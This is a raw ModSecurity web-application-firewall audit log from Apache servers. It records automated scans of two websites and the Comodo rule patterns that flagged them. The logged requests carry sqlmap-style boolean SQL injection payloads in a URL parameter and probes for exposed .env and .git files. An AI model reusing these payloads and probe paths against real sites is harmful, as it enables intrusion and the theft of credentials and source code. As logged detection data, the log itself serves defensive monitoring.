Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%206839=2596 Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --64f28e0c-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6839=2596 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now and 6839=2596"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6839=2596 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now and 6839=2596"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89h4l8S04UZ4l67-nefAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023559774965 227938 (- - -) Stopwatch2: 1750023559774965 227938; combined=3140, p1=332, p2=2640, p3=0, p4=0, p5=167, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --64f28e0c-Z-- --63fa602a-A-- [16/Jun/2025:03:09:21.723385 +0530] aE89iVR6EeXjkGzEkblk_QAAAAs 185.177.72.210 34076 127.0.0.1 7081 --63fa602a-B-- GET /staging2/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --63fa602a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=33c12944b3b093f037382b961d0fcd7c1750023561; expires=Sun, 15 Jun 2025 22:39:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --63fa602a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/staging2/.env"] [unique_id "aE89iVR6EeXjkGzEkblk_QAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023561062272 661188 (- - -) Stopwatch2: 1750023561062272 661188; combined=2205, p1=454, p2=1653, p3=0, p4=0, p5=98, sr=121, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --63fa602a-Z-- --37fc5067-A-- [16/Jun/2025:03:09:22.172537 +0530] aE89ifkun2jazaBvM9tuJAAAAAE 162.158.110.204 34130 127.0.0.1 7081 --37fc5067-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%206074%3D6074 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.110.204 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505383c7cf93734-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --37fc5067-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%206074=6074 Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --37fc5067-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6074=6074 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now and 6074=6074"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6074=6074 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now and 6074=6074"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89ifkun2jazaBvM9tuJAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023561972018 200637 (- - -) Stopwatch2: 1750023561972018 200637; combined=3036, p1=364, p2=2483, p3=0, p4=0, p5=188, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --37fc5067-Z-- --e788ee50-A-- [16/Jun/2025:03:09:23.152451 +0530] aE89irsEVBap6l1Fvp1ALAAAAAQ 172.71.172.231 34200 127.0.0.1 7081 --e788ee50-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%203517%3D2738 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.172.231 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950538428f90d38a-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --e788ee50-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%203517=2738 Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --e788ee50-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 3517=2738 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now and 3517=2738"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 3517=2738 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now and 3517=2738"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89irsEVBap6l1Fvp1ALAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023562938951 213605 (- - -) Stopwatch2: 1750023562938951 213605; combined=3661, p1=452, p2=3070, p3=0, p4=0, p5=139, sr=118, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e788ee50-Z-- --02b72421-A-- [16/Jun/2025:03:09:24.498258 +0530] aE89jAiLzf5Jb_3uGhHf8QAAAAA 172.71.246.83 34252 127.0.0.1 7081 --02b72421-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%29%20AND%205010%3D3163%20AND%20%28%27LWoS%27%3D%27LWoS HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.246.83 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505384ad8082bce-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --02b72421-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now)%20AND%205010=3163%20AND%20(LWoS=LWoS Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --02b72421-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 5010=3163 and ('lwos'='lwos found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') and 5010=3163 and ('lwos'='lwos"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 5010=3163 and ('lwos'='lwos found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') and 5010=3163 and ('lwos'='lwos"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89jAiLzf5Jb_3uGhHf8QAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023564274789 223587 (- - -) Stopwatch2: 1750023564274789 223587; combined=3979, p1=336, p2=3513, p3=0, p4=0, p5=130, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --02b72421-Z-- --93f54516-A-- [16/Jun/2025:03:09:25.866971 +0530] aE89jR-kH31pk4mNbsU_MAAAAAo 162.158.94.142 34300 127.0.0.1 7081 --93f54516-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%29%20AND%206074%3D6074%20AND%20%28%27noDs%27%3D%27noDs HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.94.142 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950538535fb33a92-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --93f54516-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now)%20AND%206074=6074%20AND%20(noDs=noDs Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --93f54516-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6074=6074 and ('nods'='nods found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') and 6074=6074 and ('nods'='nods"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6074=6074 and ('nods'='nods found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') and 6074=6074 and ('nods'='nods"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89jR-kH31pk4mNbsU_MAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023565632109 234955 (- - -) Stopwatch2: 1750023565632109 234955; combined=3515, p1=363, p2=3035, p3=0, p4=0, p5=116, sr=113, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --93f54516-Z-- --03b0ec17-A-- [16/Jun/2025:03:09:25.893887 +0530] aE89jUNwpNEMJppxC49R6QAAAAI 185.177.72.210 34298 127.0.0.1 7081 --03b0ec17-B-- GET /examples/drupal-separate-services/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --03b0ec17-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=258aa727754e525972ea3b7b8d24bdfd1750023565; expires=Sun, 15 Jun 2025 22:39:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --03b0ec17-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/examples/drupal-separate-services/.env"] [unique_id "aE89jUNwpNEMJppxC49R6QAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023565208915 685034 (- - -) Stopwatch2: 1750023565208915 685034; combined=1725, p1=437, p2=1188, p3=0, p4=0, p5=100, sr=146, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --03b0ec17-Z-- --51b4f04c-A-- [16/Jun/2025:03:09:26.609922 +0530] aE89jlR6EeXjkGzEkblk_wAAAAs 162.158.110.250 34378 127.0.0.1 7081 --51b4f04c-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%29%20AND%203327%3D8537%20AND%20%28%27cvIm%27%3D%27cvIm HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.110.250 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053859ab58a02b-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --51b4f04c-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now)%20AND%203327=8537%20AND%20(cvIm=cvIm Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --51b4f04c-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 3327=8537 and ('cvim'='cvim found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') and 3327=8537 and ('cvim'='cvim"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 3327=8537 and ('cvim'='cvim found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') and 3327=8537 and ('cvim'='cvim"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89jlR6EeXjkGzEkblk_wAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023566419272 190793 (- - -) Stopwatch2: 1750023566419272 190793; combined=4069, p1=343, p2=3552, p3=0, p4=0, p5=173, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --51b4f04c-Z-- --8f54866b-A-- [16/Jun/2025:03:09:26.879384 +0530] aE89jnZqyQ8YfVGvJU7YxQAAAAY 185.177.72.210 34356 127.0.0.1 7081 --8f54866b-B-- GET /.git/logs/HEAD HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8f54866b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b57e3e870ffc1bb56fbc5e15114304271750023566; expires=Sun, 15 Jun 2025 22:39:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8f54866b-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] 